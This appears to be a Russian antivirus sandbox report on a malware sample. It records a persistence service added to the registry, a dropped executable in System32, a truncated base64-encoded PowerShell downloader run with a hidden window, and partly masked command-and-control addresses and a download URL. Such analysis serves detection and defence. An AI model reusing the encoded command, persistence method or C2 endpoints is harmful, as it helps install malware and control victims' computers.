Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsData0000] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsData0000] 'ImagePath' = '"<SYSTEM32>\xactengine3_6\NlsData0000.exe"'
- 'NlsData0000' "<SYSTEM32>\xactengine3_6\NlsData0000.exe"
- 'NlsData0000' <SYSTEM32>\xactengine3_6\NlsData0000.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHIAcQBmAHIAZAB3AD0AKAAnAE8AJwArACgAJwB2AGoAJwArACcAbQA5AGkAJwArACcAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVABFAE0AUABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\o9khjkn.exe
- <SYSTEM32>\xactengine3_6\nlsdata0000.exe
- %TEMP%\word\2019\o9khjkn.exe в <SYSTEM32>\xactengine3_6\nlsdata0000.exe
- '88.##9.181.198':443
- '65.##6.53.186':8080
- '68.##3.233.80':8080
- http://www.ri####roperty.com/wp-content/SMXB/
- http://68.###.233.80:8080/Hhnf/5firEByaUB0HKULEaUx/tkf58A3OEoPhp5/ via 68.##3.233.80
- DNS ASK ri####roperty.com
- '%TEMP%\word\2019\o9khjkn.exe'
- '<SYSTEM32>\xactengine3_6\nlsdata0000.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHIAcQBmAHIAZAB3AD0AKAAnAE8AJwArACgAJwB2AGoAJwArACcAbQA5AGkAJwArACcAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVABFAE0AUABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)